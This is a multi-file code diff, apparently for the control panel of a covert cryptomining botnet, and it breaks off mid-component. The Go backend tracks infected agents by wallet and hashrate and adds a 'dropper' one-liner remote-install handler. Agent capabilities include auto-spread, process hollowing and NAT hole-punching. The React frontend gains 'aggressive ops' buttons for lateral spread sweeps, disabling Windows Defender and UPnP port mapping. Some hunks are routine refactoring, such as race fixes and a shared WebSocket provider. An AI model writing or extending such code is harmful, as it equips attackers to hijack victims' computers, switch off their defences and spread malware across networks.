ldLinux := ldflagsFor(req, BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""})
|
||||||
|
if strings.Contains(ldLinux, "windowsgui") {
|
||||||
|
t.Fatalf("linux ldflags must not include windowsgui: %q", ldLinux)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -38,7 +38,7 @@ func (d *Database) scanAgent(row interface {
|
|||||||
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
|
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
|
||||||
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
||||||
¬es, &tagsRaw,
|
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion,
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
@@ -50,7 +50,7 @@ func (d *Database) scanAgent(row interface {
|
|||||||
|
|
||||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags`
|
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version`
|
||||||
|
|
||||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||||
|
|||||||
@@ -111,8 +111,13 @@ func (d *Database) migrate() error {
|
|||||||
|
|
||||||
// Best-effort schema upgrades for existing databases.
|
// Best-effort schema upgrades for existing databases.
|
||||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
|
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
|
||||||
|
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
|
||||||
|
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
|
||||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
|
||||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
|
||||||
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
|
||||||
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`)
|
||||||
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -120,8 +125,8 @@ func (d *Database) migrate() error {
|
|||||||
// Agent operations
|
// Agent operations
|
||||||
|
|
||||||
func (d *Database) UpsertAgent(a *models.Agent) error {
|
func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at)
|
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version)
|
||||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP))
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?)
|
||||||
ON CONFLICT(id) DO UPDATE SET
|
ON CONFLICT(id) DO UPDATE SET
|
||||||
name = excluded.name,
|
name = excluded.name,
|
||||||
wallet = excluded.wallet,
|
wallet = excluded.wallet,
|
||||||
@@ -130,8 +135,11 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
|
|||||||
status = excluded.status,
|
status = excluded.status,
|
||||||
cpu_cores = excluded.cpu_cores,
|
cpu_cores = excluded.cpu_cores,
|
||||||
memory_gb = excluded.memory_gb,
|
memory_gb = excluded.memory_gb,
|
||||||
last_seen = excluded.last_seen`
|
last_seen = excluded.last_seen,
|
||||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID)
|
platform = excluded.platform,
|
||||||
|
arch = excluded.arch,
|
||||||
|
os_version = excluded.os_version`
|
||||||
|
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -241,17 +249,41 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
|
|||||||
|
|
||||||
// Build operations
|
// Build operations
|
||||||
|
|
||||||
|
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass`
|
||||||
|
|
||||||
|
func scanBuild(row interface {
|
||||||
|
Scan(...any) error
|
||||||
|
}) (*models.BuildRecord, error) {
|
||||||
|
b := &models.BuildRecord{}
|
||||||
|
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
|
||||||
|
&b.FilePath, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
|
||||||
|
return b, err
|
||||||
|
}
|
||||||
|
|
||||||
func (d *Database) InsertBuild(b *models.BuildRecord) error {
|
func (d *Database) InsertBuild(b *models.BuildRecord) error {
|
||||||
_, err := d.Exec("INSERT INTO builds (id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
|
_, err := d.Exec(`INSERT INTO builds
|
||||||
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.FilePath, b.CreatedAt,
|
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||||
|
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.BundleSize,
|
||||||
|
b.FilePath, b.Platform, b.CreatedAt,
|
||||||
b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass)
|
b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
|
func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
|
||||||
b := &models.BuildRecord{}
|
return scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE id = ?`, id))
|
||||||
err := d.QueryRow(`SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds WHERE id = ?`, id).
|
}
|
||||||
Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
|
|
||||||
|
func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildRecord, error) {
|
||||||
|
var query string
|
||||||
|
var args []any
|
||||||
|
if platform == "" || platform == "any" {
|
||||||
|
query = `SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1`
|
||||||
|
} else {
|
||||||
|
query = `SELECT ` + buildSelectCols + ` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1`
|
||||||
|
args = []any{platform}
|
||||||
|
}
|
||||||
|
b, err := scanBuild(d.QueryRow(query, args...))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
@@ -259,8 +291,7 @@ func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
||||||
query := `SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds ORDER BY created_at DESC LIMIT ?`
|
rows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, limit)
|
||||||
rows, err := d.Query(query, limit)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
@@ -268,9 +299,8 @@ func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
|||||||
|
|
||||||
var builds []*models.BuildRecord
|
var builds []*models.BuildRecord
|
||||||
for rows.Next() {
|
for rows.Next() {
|
||||||
b := &models.BuildRecord{}
|
b, err := scanBuild(rows)
|
||||||
if err := rows.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt,
|
if err != nil {
|
||||||
&b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass); err != nil {
|
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
builds = append(builds, b)
|
builds = append(builds, b)
|
||||||
|
|||||||
@@ -27,6 +27,22 @@ type Agent struct {
|
|||||||
|
|
||||||
Notes string `json:"notes"`
|
Notes string `json:"notes"`
|
||||||
Tags []string `json:"tags"`
|
Tags []string `json:"tags"`
|
||||||
|
|
||||||
|
Platform string `json:"platform,omitempty"`
|
||||||
|
Arch string `json:"arch,omitempty"`
|
||||||
|
OSVersion string `json:"os_version,omitempty"`
|
||||||
|
|
||||||
|
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// AgentCapabilities reports forge-time features available for remote command.
|
||||||
|
type AgentCapabilities struct {
|
||||||
|
HolePunch bool `json:"hole_punch"`
|
||||||
|
RemoteAggressive bool `json:"remote_aggressive"`
|
||||||
|
MeshP2P bool `json:"mesh_p2p"`
|
||||||
|
AutoSpread bool `json:"auto_spread"`
|
||||||
|
ProcessHollowing bool `json:"process_hollowing"`
|
||||||
|
AIEnabled bool `json:"ai_enabled"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type Share struct {
|
type Share struct {
|
||||||
@@ -65,7 +81,9 @@ type BuildRecord struct {
|
|||||||
Wallet string `json:"wallet"`
|
Wallet string `json:"wallet"`
|
||||||
Threads int `json:"threads"`
|
Threads int `json:"threads"`
|
||||||
FileSize int64 `json:"file_size"`
|
FileSize int64 `json:"file_size"`
|
||||||
|
BundleSize int64 `json:"bundle_size"`
|
||||||
FilePath string `json:"file_path"`
|
FilePath string `json:"file_path"`
|
||||||
|
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
|
||||||
CreatedAt time.Time `json:"created_at"`
|
CreatedAt time.Time `json:"created_at"`
|
||||||
// Pool settings
|
// Pool settings
|
||||||
PoolHost string `json:"pool_host"`
|
PoolHost string `json:"pool_host"`
|
||||||
|
|||||||
@@ -498,12 +498,16 @@ func (p *Proxy) parseAndSetJob(data json.RawMessage) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (p *Proxy) subscribe() {
|
func (p *Proxy) subscribe() {
|
||||||
|
p.mu.Lock()
|
||||||
p.requestID++
|
p.requestID++
|
||||||
|
subID := p.requestID
|
||||||
|
p.mu.Unlock()
|
||||||
|
|
||||||
subParams := []string{}
|
subParams := []string{}
|
||||||
paramsData, _ := json.Marshal(subParams)
|
paramsData, _ := json.Marshal(subParams)
|
||||||
|
|
||||||
subReq := StratumRequest{
|
subReq := StratumRequest{
|
||||||
ID: p.requestID,
|
ID: subID,
|
||||||
Method: "subscribe",
|
Method: "subscribe",
|
||||||
Params: paramsData,
|
Params: paramsData,
|
||||||
}
|
}
|
||||||
@@ -542,8 +546,11 @@ func (p *Proxy) submitShareToPool(share *PendingShare) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Increment and read requestID under the write lock to avoid data race (H17)
|
||||||
|
p.mu.Lock()
|
||||||
p.requestID++
|
p.requestID++
|
||||||
reqID := p.requestID
|
reqID := p.requestID
|
||||||
|
p.mu.Unlock()
|
||||||
|
|
||||||
wallet := share.Wallet
|
wallet := share.Wallet
|
||||||
if wallet == "" {
|
if wallet == "" {
|
||||||
|
|||||||
@@ -163,12 +163,17 @@ func main() {
|
|||||||
blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
|
blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
|
||||||
log.Println("Blueprint handler initialized")
|
log.Println("Blueprint handler initialized")
|
||||||
|
|
||||||
|
// Initialize dropper handler (one-liner remote install)
|
||||||
|
dropperHandler := api.NewDropperHandler(database, func() string {
|
||||||
|
return configProvider.PublicURL()
|
||||||
|
})
|
||||||
|
|
||||||
// Find web root for frontend
|
// Find web root for frontend
|
||||||
webRoot := findWebRoot()
|
webRoot := findWebRoot()
|
||||||
log.Printf("Web root: %s", webRoot)
|
log.Printf("Web root: %s", webRoot)
|
||||||
|
|
||||||
// Initialize router
|
// Initialize router
|
||||||
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, cfg.DataDir, func() string {
|
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, cfg.DataDir, func() string {
|
||||||
return configProvider.PublicURL()
|
return configProvider.PublicURL()
|
||||||
})
|
})
|
||||||
log.Println("Router initialized")
|
log.Println("Router initialized")
|
||||||
@@ -254,8 +259,13 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error
|
|||||||
return fmt.Errorf("invalid config: %w", err)
|
return fmt.Errorf("invalid config: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Merge incoming config over current config
|
// Determine which top-level keys were explicitly present in the JSON payload.
|
||||||
mergeConfig(p.config, &incoming)
|
// This prevents partial PUTs from corrupting boolean fields (H14): a key absent
|
||||||
|
// from the payload is treated as "not changed", not "set to false".
|
||||||
|
var presentKeys map[string]json.RawMessage
|
||||||
|
_ = json.Unmarshal(data, &presentKeys)
|
||||||
|
|
||||||
|
mergeConfigExplicit(p.config, &incoming, presentKeys)
|
||||||
|
|
||||||
// Save to disk
|
// Save to disk
|
||||||
if err := p.config.Save(); err != nil {
|
if err := p.config.Save(); err != nil {
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ import { lazy, Suspense } from 'react';
|
|||||||
import { Routes, Route, Navigate } from 'react-router-dom';
|
import { Routes, Route, Navigate } from 'react-router-dom';
|
||||||
import SessionGate from './components/SessionGate';
|
import SessionGate from './components/SessionGate';
|
||||||
import Layout from './components/Layout/Layout';
|
import Layout from './components/Layout/Layout';
|
||||||
|
import { WebSocketProvider } from './context/WebSocketProvider';
|
||||||
|
|
||||||
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
|
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
|
||||||
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
|
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
|
||||||
@@ -19,6 +20,9 @@ function PageFallback() {
|
|||||||
|
|
||||||
function App() {
|
function App() {
|
||||||
return (
|
return (
|
||||||
|
// WebSocketProvider mounts a single WS connection shared by all routes.
|
||||||
|
// No page or component should call new WebSocket() directly — use useWebSocket().
|
||||||
|
<WebSocketProvider>
|
||||||
<SessionGate>
|
<SessionGate>
|
||||||
<Layout>
|
<Layout>
|
||||||
<Suspense fallback={<PageFallback />}>
|
<Suspense fallback={<PageFallback />}>
|
||||||
@@ -34,6 +38,7 @@ function App() {
|
|||||||
</Suspense>
|
</Suspense>
|
||||||
</Layout>
|
</Layout>
|
||||||
</SessionGate>
|
</SessionGate>
|
||||||
|
</WebSocketProvider>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
import AgentRemoteActions from './AgentRemoteActions';
|
import AgentRemoteActions from './AgentRemoteActions';
|
||||||
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
|
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
|
||||||
import type { Agent } from '../../types';
|
import type { Agent } from '../../types';
|
||||||
import type { WSMessage } from '../../types';
|
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||||
|
|
||||||
interface Props {
|
interface Props {
|
||||||
agent: Agent;
|
agent: Agent;
|
||||||
@@ -12,7 +12,7 @@ interface Props {
|
|||||||
onToggleExpand: () => void;
|
onToggleExpand: () => void;
|
||||||
onSelect: () => void;
|
onSelect: () => void;
|
||||||
onCheck?: (checked: boolean) => void;
|
onCheck?: (checked: boolean) => void;
|
||||||
latestWsMessage?: WSMessage | null;
|
commandResults?: SeqCommandResult[];
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function AgentListItem({
|
export default function AgentListItem({
|
||||||
@@ -24,7 +24,7 @@ export default function AgentListItem({
|
|||||||
onToggleExpand,
|
onToggleExpand,
|
||||||
onSelect,
|
onSelect,
|
||||||
onCheck,
|
onCheck,
|
||||||
latestWsMessage,
|
commandResults,
|
||||||
}: Props) {
|
}: Props) {
|
||||||
const online = agent.status === 'online';
|
const online = agent.status === 'online';
|
||||||
|
|
||||||
@@ -58,6 +58,11 @@ export default function AgentListItem({
|
|||||||
)}
|
)}
|
||||||
<span className={`status-dot ${agent.status}`} />
|
<span className={`status-dot ${agent.status}`} />
|
||||||
<span>{agent.name}</span>
|
<span>{agent.name}</span>
|
||||||
|
{agent.platform && (
|
||||||
|
<span className="agent-tag-chip platform-badge" title={agent.os_version || agent.platform}>
|
||||||
|
{agent.platform}{agent.arch ? `/${agent.arch}` : ''}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||||
</div>
|
</div>
|
||||||
@@ -89,7 +94,7 @@ export default function AgentListItem({
|
|||||||
<span>v{agent.version || '?'}</span>
|
<span>v{agent.version || '?'}</span>
|
||||||
</div>
|
</div>
|
||||||
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
|
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
|
||||||
<AgentRemoteActions agent={agent} compact online={online} latestWsMessage={latestWsMessage} />
|
<AgentRemoteActions agent={agent} compact online={online} commandResults={commandResults} />
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -91,6 +91,13 @@
|
|||||||
.button-grid button.btn-red { border-color: rgba(255, 23, 68, 0.3); color: #ff1744; }
|
.button-grid button.btn-red { border-color: rgba(255, 23, 68, 0.3); color: #ff1744; }
|
||||||
.button-grid button.btn-red:hover { background: rgba(255, 23, 68, 0.1); box-shadow: 0 0 15px rgba(255, 23, 68, 0.4); }
|
.button-grid button.btn-red:hover { background: rgba(255, 23, 68, 0.1); box-shadow: 0 0 15px rgba(255, 23, 68, 0.4); }
|
||||||
|
|
||||||
|
.button-grid button.btn-magenta { border-color: rgba(255, 0, 255, 0.35); color: #ff00ff; }
|
||||||
|
.button-grid button.btn-magenta:hover { background: rgba(255, 0, 255, 0.12); box-shadow: 0 0 15px rgba(255, 0, 255, 0.35); }
|
||||||
|
|
||||||
|
.aggressive-group { border-color: rgba(255, 0, 255, 0.15); }
|
||||||
|
.aggressive-group h3 { color: #ff00ff; }
|
||||||
|
.action-group-hint { margin: -8px 0 12px; font-size: 0.75rem; color: #666; line-height: 1.35; }
|
||||||
|
|
||||||
.screenshot-viewer {
|
.screenshot-viewer {
|
||||||
margin-bottom: 20px;
|
margin-bottom: 20px;
|
||||||
border: 1px solid #00e5ff;
|
border: 1px solid #00e5ff;
|
||||||
|
|||||||
@@ -1,9 +1,12 @@
|
|||||||
import React, { useState, useRef, useEffect, useCallback } from 'react';
|
import React, { useState, useRef, useEffect, useCallback } from 'react';
|
||||||
import { api } from '../../api/client';
|
import { api } from '../../api/client';
|
||||||
import type { Agent, WSMessage } from '../../types';
|
import type { Agent } from '../../types';
|
||||||
import type { WSCommandResult } from '../../types/ws';
|
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||||
|
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
||||||
import './AgentRemoteActions.css';
|
import './AgentRemoteActions.css';
|
||||||
|
|
||||||
|
const TERMINAL_MAX_LINES = 500;
|
||||||
|
|
||||||
interface Props {
|
interface Props {
|
||||||
/** Legacy: pass full agent object from list/detail pages */
|
/** Legacy: pass full agent object from list/detail pages */
|
||||||
agent?: Agent;
|
agent?: Agent;
|
||||||
@@ -12,7 +15,11 @@ interface Props {
|
|||||||
/** Explicit online flag — use when agent object may be stale */
|
/** Explicit online flag — use when agent object may be stale */
|
||||||
online?: boolean;
|
online?: boolean;
|
||||||
compact?: boolean;
|
compact?: boolean;
|
||||||
latestWsMessage?: WSMessage | null;
|
/** Queue of recent command_result messages from the WS hook — replaces latestWsMessage.
|
||||||
|
* Every entry is processed; no results are dropped (fixes M13). */
|
||||||
|
commandResults?: SeqCommandResult[];
|
||||||
|
/** @deprecated Pass commandResults instead. */
|
||||||
|
latestWsMessage?: { type: string; payload: unknown } | null;
|
||||||
onCommandSent?: (action: string) => void;
|
onCommandSent?: (action: string) => void;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -22,7 +29,7 @@ export default function AgentRemoteActions({
|
|||||||
agentName: agentNameProp,
|
agentName: agentNameProp,
|
||||||
online: onlineProp,
|
online: onlineProp,
|
||||||
compact = false,
|
compact = false,
|
||||||
latestWsMessage,
|
commandResults,
|
||||||
onCommandSent,
|
onCommandSent,
|
||||||
}: Props) {
|
}: Props) {
|
||||||
const agentId = agentIdProp ?? agent?.id ?? '';
|
const agentId = agentIdProp ?? agent?.id ?? '';
|
||||||
@@ -31,24 +38,49 @@ export default function AgentRemoteActions({
|
|||||||
|
|
||||||
const [isDragging, setIsDragging] = useState(false);
|
const [isDragging, setIsDragging] = useState(false);
|
||||||
const [customCmd, setCustomCmd] = useState('');
|
const [customCmd, setCustomCmd] = useState('');
|
||||||
|
// terminalLog is capped at TERMINAL_MAX_LINES to prevent memory leak (L6)
|
||||||
const [terminalLog, setTerminalLog] = useState<string[]>([]);
|
const [terminalLog, setTerminalLog] = useState<string[]>([]);
|
||||||
const [screenshotData, setScreenshotData] = useState<string | null>(null);
|
const [screenshotData, setScreenshotData] = useState<string | null>(null);
|
||||||
const [busy, setBusy] = useState<string | null>(null);
|
const [busy, setBusy] = useState<string | null>(null);
|
||||||
const logEndRef = useRef<HTMLDivElement>(null);
|
const logEndRef = useRef<HTMLDivElement>(null);
|
||||||
|
// Track the highest _seq we've already processed.
|
||||||
|
// Using _seq (monotonic ID) instead of array index prevents the ring-buffer drop bug
|
||||||
|
// where .slice(-N) trims old entries so absolute indices exceed the array length.
|
||||||
|
const lastSeenSeq = useRef(0);
|
||||||
|
|
||||||
const addLog = useCallback((msg: string) => {
|
const addLog = useCallback((msg: string) => {
|
||||||
setTerminalLog((prev) => [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`]);
|
setTerminalLog((prev) => {
|
||||||
|
const next = [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`];
|
||||||
|
// Cap at TERMINAL_MAX_LINES — drop oldest entries (L6)
|
||||||
|
return next.length > TERMINAL_MAX_LINES ? next.slice(next.length - TERMINAL_MAX_LINES) : next;
|
||||||
|
});
|
||||||
}, []);
|
}, []);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
logEndRef.current?.scrollIntoView({ behavior: 'smooth' });
|
logEndRef.current?.scrollIntoView({ behavior: 'smooth' });
|
||||||
}, [terminalLog]);
|
}, [terminalLog]);
|
||||||
|
|
||||||
|
// When the selected agent changes, reset the seen-seq cursor to the current maximum.
|
||||||
|
// This prevents reprocessing results from the previous agent or a stale queue.
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (!latestWsMessage || latestWsMessage.type !== 'command_result') return;
|
if (commandResults && commandResults.length > 0) {
|
||||||
const payload = latestWsMessage.payload as WSCommandResult;
|
lastSeenSeq.current = commandResults[commandResults.length - 1]._seq;
|
||||||
|
}
|
||||||
|
// Intentionally only runs on agentId change — commandResults excluded from deps
|
||||||
|
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||||
|
}, [agentId]);
|
||||||
|
|
||||||
|
// Process every new commandResults entry we haven't seen yet (M13 — no drops).
|
||||||
|
// Filters by _seq so the ring-buffer trim never makes us miss results.
|
||||||
|
useEffect(() => {
|
||||||
|
if (!commandResults || commandResults.length === 0) return;
|
||||||
|
const newEntries = commandResults.filter((r) => r._seq > lastSeenSeq.current);
|
||||||
|
if (newEntries.length === 0) return;
|
||||||
|
lastSeenSeq.current = newEntries[newEntries.length - 1]._seq;
|
||||||
|
|
||||||
|
for (const payload of newEntries) {
|
||||||
const { agent_id, action, success, message } = payload;
|
const { agent_id, action, success, message } = payload;
|
||||||
if (agentId && agentId !== 'all' && agent_id !== agentId) return;
|
if (agentId && agentId !== 'all' && agent_id !== agentId) continue;
|
||||||
|
|
||||||
if (action === 'screenshot' && success && message) {
|
if (action === 'screenshot' && success && message) {
|
||||||
setScreenshotData(`data:image/jpeg;base64,${message}`);
|
setScreenshotData(`data:image/jpeg;base64,${message}`);
|
||||||
@@ -56,7 +88,8 @@ export default function AgentRemoteActions({
|
|||||||
} else if (action) {
|
} else if (action) {
|
||||||
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
|
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
|
||||||
}
|
}
|
||||||
}, [latestWsMessage, agentId, addLog]);
|
}
|
||||||
|
}, [commandResults, agentId, addLog]);
|
||||||
|
|
||||||
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
|
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
|
||||||
if (!agentId) {
|
if (!agentId) {
|
||||||
@@ -69,6 +102,9 @@ export default function AgentRemoteActions({
|
|||||||
}
|
}
|
||||||
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
|
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
|
||||||
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
|
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
|
||||||
|
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
|
||||||
|
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
|
||||||
|
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
|
||||||
|
|
||||||
setBusy(action);
|
setBusy(action);
|
||||||
try {
|
try {
|
||||||
@@ -130,6 +166,14 @@ export default function AgentRemoteActions({
|
|||||||
}
|
}
|
||||||
|
|
||||||
const isFleet = agentId === 'all';
|
const isFleet = agentId === 'all';
|
||||||
|
const caps = agent?.capabilities;
|
||||||
|
const platform = agent?.platform;
|
||||||
|
|
||||||
|
const aggDisabled = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
|
||||||
|
!isOnline || !!busy || !canRunAggressiveAction(action, caps, platform);
|
||||||
|
|
||||||
|
const aggTitle = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
|
||||||
|
aggressiveActionHint(action, caps, platform);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="tactical-panel">
|
<div className="tactical-panel">
|
||||||
@@ -170,6 +214,94 @@ export default function AgentRemoteActions({
|
|||||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<div className="action-group aggressive-group">
|
||||||
|
<h3>NAT & Aggressive Ops</h3>
|
||||||
|
<p className="action-group-hint">Point-and-shoot — requires Advanced forge toggles on the agent.</p>
|
||||||
|
<div className="button-grid">
|
||||||
